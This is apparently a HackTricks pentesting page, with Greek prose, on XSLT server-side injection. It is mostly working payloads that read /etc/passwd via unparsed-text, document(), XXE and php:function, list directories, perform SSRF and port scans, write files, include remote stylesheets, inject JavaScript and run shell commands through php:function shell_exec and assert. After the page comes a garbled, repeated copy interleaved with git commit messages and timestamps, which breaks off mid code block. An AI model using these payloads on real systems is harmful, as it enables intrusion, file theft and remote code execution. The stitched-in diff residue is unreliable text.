hacktricks/pentesting-web/xslt-server-side-injection-extensible-stylesheet-language-transformations.md

# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}

## Basic Information

Το XSLT είναι μια τεχνολογία που χρησιμοποιείται για τη μετατροπή εγγράφων XML σε διάφορες μορφές. Υπάρχουν τρεις εκδόσεις: 1, 2 και 3, με την έκδοση 1 να είναι η πιο συχνά χρησιμοποιούμενη. Η διαδικασία μετατροπής μπορεί να εκτελείται είτε στον διακομιστή είτε μέσα στον περιηγητή.

Τα πλαίσια που χρησιμοποιούνται πιο συχνά περιλαμβάνουν:

- **Libxslt** από το Gnome,
- **Xalan** από το Apache,
- **Saxon** από το Saxonica.

Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο οι ετικέτες xsl να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην ακόλουθη πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).

## Example - Tutorial
```bash
sudo apt-get install default-jdk
sudo apt-get install libsaxonb-java libsaxon-java
```
{% code title="xml.xml" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<catalog>
<cd>
<title>CD Title</title>
<artist>The artist</artist>
<company>Da Company</company>
<price>10000</price>
<year>1760</year>
</cd>
</catalog>
```
{% endcode %}

{% code title="xsl.xsl" %}
```xml
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td><xsl:value-of select="catalog/cd/title"/></td>
<td><xsl:value-of select="catalog/cd/artist"/></td>
</tr>
</table>
</body>
</html>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}

Εκτέλεση:
```xml
saxonb-xslt -xsl:xsl.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<html>
<body>
<h2>The Super title</h2>
<table border="1">
<tr bgcolor="#9acd32">
<th>Title</th>
<th>artist</th>
</tr>
<tr>
<td>CD Title</td>
<td>The artist</td>
</tr>
</table>
</body>
</html>
```
### Δακτυλικό αποτύπωμα

{% code title="detection.xsl" %}
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}

Και εκτελέστε
```xml
$saxonb-xslt -xsl:detection.xsl xml.xml

Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
```
### Διαβάστε το Τοπικό Αρχείο

{% code title="read.xsl" %}
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
{% endcode %}
```xml
$ saxonb-xslt -xsl:read.xsl xml.xml

Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
bin:x:2:2:bin:/bin:/usr/sbin/nologin
sys:x:3:3:sys:/dev:/usr/sbin/nologin
sync:x:4:65534:sync:/bin:/bin/sync
games:x:5:60:games:/usr/games:/usr/sbin/nologin
man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
```
### SSRF
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:include href="http://127.0.0.1:8000/xslt"/>
<xsl:template match="/">
</xsl:template>
</xsl:stylesheet>
```
### Versions

Μπορεί να υπάρχουν περισσότερες ή λιγότερες λειτουργίες ανάλογα με την έκδοση XSLT που χρησιμοποιείται:

* [https://www.w3.org/TR/xslt-10/](https://www.w3.org/TR/xslt-10/)
* [https://www.w3.org/TR/xslt20/](https://www.w3.org/TR/xslt20/)
* [https://www.w3.org/TR/xslt-30/](https://www.w3.org/TR/xslt-30/)

## Fingerprint

Ανεβάστε αυτό και πάρτε πληροφορίες
```xml
<?xml version="1.0" encoding="ISO-8859-1"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
Version: <xsl:value-of select="system-property('xsl:version')" /><br />
Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
<xsl:if test="system-property('xsl:product-name')">
Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:product-version')">
Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:is-schema-aware')">
Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-serialization')">
Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
/><br />
</xsl:if>
<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
/><br />
</xsl:if>
</xsl:template>
</xsl:stylesheet>
```
## SSRF
```xml
<esi:include src="http://10.10.10.10/data/news.xml" stylesheet="http://10.10.10.10//news_template.xsl">
</esi:include>
```
## Εισαγωγή Javascript
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<script>confirm("We're good");</script>
</xsl:template>
</xsl:stylesheet>
```
## Κατάλογος καταχώρησης (PHP)

### **Opendir + readdir**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('opendir','/path/to/dir')"/>
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
<xsl:value-of select="php:function('readdir')"/> -
</xsl:template></xsl:stylesheet>
```
### **Επιβεβαίωση (var\_dump + scandir + false)**
```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)))==3')" />
<br />
</body>
</html>
```
## Διαβάστε αρχεία

### **Εσωτερικό - PHP**
```xml
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
<xsl:template match="/">
<xsl:value-of select="unparsed-text('/etc/passwd', ‘utf-8')"/>
</xsl:template>
</xsl:stylesheet>
```
### **Εσωτερικό - XXE**
```xml
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE dtd_sample[<!ENTITY ext_file SYSTEM "/etc/passwd">]>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
&ext_file;
</xsl:template>
</xsl:stylesheet>
```
### **Μέσω HTTP**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
<xsl:template match="/">
<xsl:value-of select="document('/etc/passwd')"/>
</xsl:template>
</xsl:stylesheet>
```

```xml
<!DOCTYPE xsl:stylesheet [
<!ENTITY passwd SYSTEM "file:///etc/passwd" >]>
<xsl:template match="/">
&passwd;
</xsl:template>
```
### **Εσωτερικό (PHP-συνάρτηση)**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('file_get_contents','/path/to/file')"/>
</xsl:template>
</xsl:stylesheet>
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(file_get_contents(scandir(chr(46).chr(47))[2].chr(47).chr(46).chr(112).chr(97).chr(115).chr(115).chr(119).chr(100)))==3')" />
<br />
</body>
</html>
```
### Σάρωση θύρας
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="document('http://example.com:22')"/>
</xsl:template>
</xsl:stylesheet>
```
## Γράψτε σε ένα αρχείο

### XSLT 2.0
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:result-document href="local_file.txt">
<xsl:text>Write Local File</xsl:text>
</xsl:result-document>
</xsl:template>
</xsl:stylesheet>
```
### **Επέκταση Xalan-J**
```xml
<xsl:template match="/">
<redirect:open file="local_file.txt"/>
<redirect:write file="local_file.txt"/> Write Local File</redirect:write>
<redirect:close file="loxal_file.txt"/>
</xsl:template>
```
Άλλοι τρόποι για να γράψετε αρχεία στο PDF

## Συμπερίληψη εξωτερικού XSL
```xml
<xsl:include href="http://extenal.web/external.xsl"/>
```

```xml
<?xml version="1.0" ?>
<?xml-stylesheet type="text/xsl" href="http://external.web/ext.xsl"?>
```
## Εκτέλεση κώδικα

### **php:function**
```xml
<?xml version="1.0" encoding="utf-8"?>
<xsl:stylesheet version="1.0"
xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
xmlns:php="http://php.net/xsl" >
<xsl:template match="/">
<xsl:value-of select="php:function('shell_exec','sleep 10')" />
</xsl:template>
</xsl:stylesheet>
```

```xml
<?xml version="1.0" encoding="UTF-8"?>
<html xsl:version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl">
<body style="font-family:Arial;font-size:12pt;background-color:#EEEEEE">
<xsl:copy-of name="asd" select="php:function('assert','var_dump(scandir(chr(46).chr(47)));')" />
<br />
</body>
</html>
```
Execute code using other frameworks in the PDF

### **Περισσότερες Γλώσσες**

**Σε αυτή τη σελίδα μπορείτε να βρείτε παραδείγματα RCE σε άλλες γλώσσες:** [**https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET**](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt\_injection#C%23%2FVB.NET%2FASP.NET) **(C#, Java, PHP)**

## **Πρόσβαση σε στατικές συναρτήσεις PHP από κλάσεις**

Η παρακάτω συνάρτηση θα καλέσει τη στατική μέθοδο `stringToUrl` της κλάσης XSL:
```xml
<!--- More complex test to call php class function-->
<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:php="http://php.net/xsl"
version="1.0">
<xsl:output method="html" version="XHTML 1.0" encoding="UTF-8" indent="yes" />
<xsl:template match="root">
<html>
<!-- We use the php suffix to call the static class function stringToUrl() -->
<xsl:value-of select="php:function('XSL::stringToUrl','une_superstring-àÔ|modifier')" />
<!-- Output: 'une_superstring ao modifier' -->
</html>
</xsl:template>
</xsl:stylesheet>
```
(Παράδειγμα από [http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls](http://laurent.bientz.com/Blog/Entry/Item/using\_php\_functions\_in\_xsl-7.sls))

## Περισσότερα Payloads
* Δείτε [https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection](https://github.com/swisskyrepo/PayloadsAllTheThings/tree/master/XSLT%20Injection)
* Δείτε [https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection](https://vulncat.fortify.com/en/detail?id=desc.dataflow.java.xslt_injection)

## **Λίστα Ανίχνευσης Brute-Force**

{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/xslt.txt" %}

## **Αναφορές**

* [XSLT\_SSRF](https://feelsec.info/wp-content/uploads/2018/11/XSLT\_SSRF.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20IO%20Active.pdf)\\
* [http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf](http://repository.root-me.org/Exploitation%20-%20Web/EN%20-%20Abusing%20XSLT%20for%20practical%20attacks%20-%20Arnaboldi%20-%20Blackhat%202015.pdf)

{% hint style="success" %}
Μάθετε & εξασκηθείτε στο AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Μάθετε & εξασκηθείτε στο GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Υποστήριξη HackTricks</summary>

* Δείτε τα [**σχέδια συνδρομής**](https://github.com/sponsors/carlospolop)!
* **Εγγραφείτε στην** 💬 [**ομάδα Discord**](https://discord.gg/hRep4RUj7f) ή στην [**ομάδα telegram**](https://t.me/peass) ή **ακολουθήστε** μας στο **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Μοιραστείτε κόλπα hacking υποβάλλοντας PRs στα** [**HackTricks**](https://github.com/carlospolop/hacktricks) και [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								# XSLT Server Side Injection (Extensible Stylesheet Languaje Transformations)
 								{% hint style="success" %}
 								Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
 								Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
 								<details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								<summary>Support HackTricks</summary>
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
 								* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
 								* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
 								</details>
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								{% endhint %}
-												Ad hacktricks sponsoring

											
										
										
											2022-04-28 16:01:33 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								## Basic Information
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								Το XSLT είναι μια τεχνολογία που χρησιμοποιείται για τη μετατροπή εγγράφων XML σε διάφορες μορφές. Υπάρχουν τρεις εκδόσεις: 1, 2 και 3, με την έκδοση 1 να είναι η πιο συχνά χρησιμοποιούμενη. Η διαδικασία μετατροπής μπορεί να εκτελείται είτε στον διακομιστή είτε μέσα στον περιηγητή.
-												GitBook: [master] 351 pages and 442 assets modified
											
										
										
											2020-07-15 15:43:14 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								Τα πλαίσια που χρησιμοποιούνται πιο συχνά περιλαμβάνουν:
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								- **Libxslt** από το Gnome,
 								- **Xalan** από το Apache,
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								- **Saxon** από το Saxonica.
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								Για την εκμετάλλευση ευπαθειών που σχετίζονται με το XSLT, είναι απαραίτητο οι ετικέτες xsl να αποθηκεύονται στην πλευρά του διακομιστή, ακολουθούμενες από την πρόσβαση σε αυτό το περιεχόμενο. Ένα παράδειγμα μιας τέτοιας ευπάθειας τεκμηριώνεται στην ακόλουθη πηγή: [https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/](https://www.gosecure.net/blog/2019/05/02/esi-injection-part-2-abusing-specific-implementations/).
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								## Example - Tutorial
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								```bash
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								sudo apt-get install default-jdk
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								sudo apt-get install libsaxonb-java libsaxon-java
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								```
 								{% code title="xml.xml" %}
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<?xml version="1.0" encoding="UTF-8"?>
 								<catalog>
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								<cd>
 								<title>CD Title</title>
 								<artist>The artist</artist>
 								<company>Da Company</company>
 								<price>10000</price>
 								<year>1760</year>
 								</cd>
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								</catalog>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								{% endcode %}
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								{% code title="xsl.xsl" %}
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<?xml version="1.0" encoding="UTF-8"?>
 								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								<html>
 								<body>
 								<h2>The Super title</h2>
 								<table border="1">
 								<tr bgcolor="#9acd32">
 								<th>Title</th>
 								<th>artist</th>
 								</tr>
 								<tr>
 								<td><xsl:value-of select="catalog/cd/title"/></td>
 								<td><xsl:value-of select="catalog/cd/artist"/></td>
 								</tr>
 								</table>
 								</body>
 								</html>
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								Εκτέλεση:
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
 								saxonb-xslt -xsl:xsl.xsl xml.xml
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								Warning: at xsl:stylesheet on line 2 column 80 of xsl.xsl:
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<html>
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								<body>
 								<h2>The Super title</h2>
 								<table border="1">
 								<tr bgcolor="#9acd32">
 								<th>Title</th>
 								<th>artist</th>
 								</tr>
 								<tr>
 								<td>CD Title</td>
 								<td>The artist</td>
 								</tr>
 								</table>
 								</body>
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								</html>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								### Δακτυλικό αποτύπωμα
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
 								{% code title="detection.xsl" %}
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								<?xml version="1.0" encoding="ISO-8859-1"?>
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform">
 								<xsl:template match="/">
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								Version: <xsl:value-of select="system-property('xsl:version')" /><br />
 								Vendor: <xsl:value-of select="system-property('xsl:vendor')" /><br />
 								Vendor URL: <xsl:value-of select="system-property('xsl:vendor-url')" /><br />
 								<xsl:if test="system-property('xsl:product-name')">
 								Product Name: <xsl:value-of select="system-property('xsl:product-name')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:product-version')">
 								Product Version: <xsl:value-of select="system-property('xsl:product-version')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:is-schema-aware')">
 								Is Schema Aware ?: <xsl:value-of select="system-property('xsl:is-schema-aware')" /><br />
 								</xsl:if>
 								<xsl:if test="system-property('xsl:supports-serialization')">
 								Supports Serialization: <xsl:value-of select="system-property('xsl:supportsserialization')"
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								/><br />
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								</xsl:if>
 								<xsl:if test="system-property('xsl:supports-backwards-compatibility')">
 								Supports Backwards Compatibility: <xsl:value-of select="system-property('xsl:supportsbackwards-compatibility')"
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								/><br />
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								</xsl:if>
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								Και εκτελέστε
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								$saxonb-xslt -xsl:detection.xsl xml.xml
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
 								Warning: at xsl:stylesheet on line 2 column 80 of detection.xsl:
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<h2>XSLT identification</h2><b>Version:</b>2.0<br><b>Vendor:</b>SAXON 9.1.0.8 from Saxonica<br><b>Vendor URL:</b>http://www.saxonica.com/<br>
 								```
-												Translated ['crypto-and-stego/cryptographic-algorithms/unpacking-binarie

											
										
										
											2024-07-19 05:00:03 +00:00
+								### Διαβάστε το Τοπικό Αρχείο
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
 								{% code title="read.xsl" %}
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:abc="http://php.net/xsl" version="1.0">
 								<xsl:template match="/">
 								<xsl:value-of select="unparsed-text('/etc/passwd', 'utf-8')"/>
 								</xsl:template>
 								</xsl:stylesheet>
 								```
 								{% endcode %}
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								$ saxonb-xslt -xsl:read.xsl xml.xml
 								Warning: at xsl:stylesheet on line 1 column 111 of read.xsl:
-												Translated to Greek

											
										
										
											2024-02-10 22:40:18 +00:00
+								Running an XSLT 1.0 stylesheet with an XSLT 2.0 processor
-												GitBook: [master] 478 pages modified
											
										
										
											2021-06-07 11:31:39 +00:00
+								<?xml version="1.0" encoding="UTF-8"?>root:x:0:0:root:/root:/bin/bash
 								daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
 								bin:x:2:2:bin:/bin:/usr/sbin/nologin
 								sys:x:3:3:sys:/dev:/usr/sbin/nologin
 								sync:x:4:65534:sync:/bin:/bin/sync
 								games:x:5:60:games:/usr/games:/usr/sbin/nologin
 								man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
 								lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
 								```
-												GitBook: [#3540] No subject

											
										
										
											2022-10-03 13:43:01 +00:00
+								### SSRF
-												a

											
										
										
											2024-02-06 03:10:38 +00:00
+								```xml
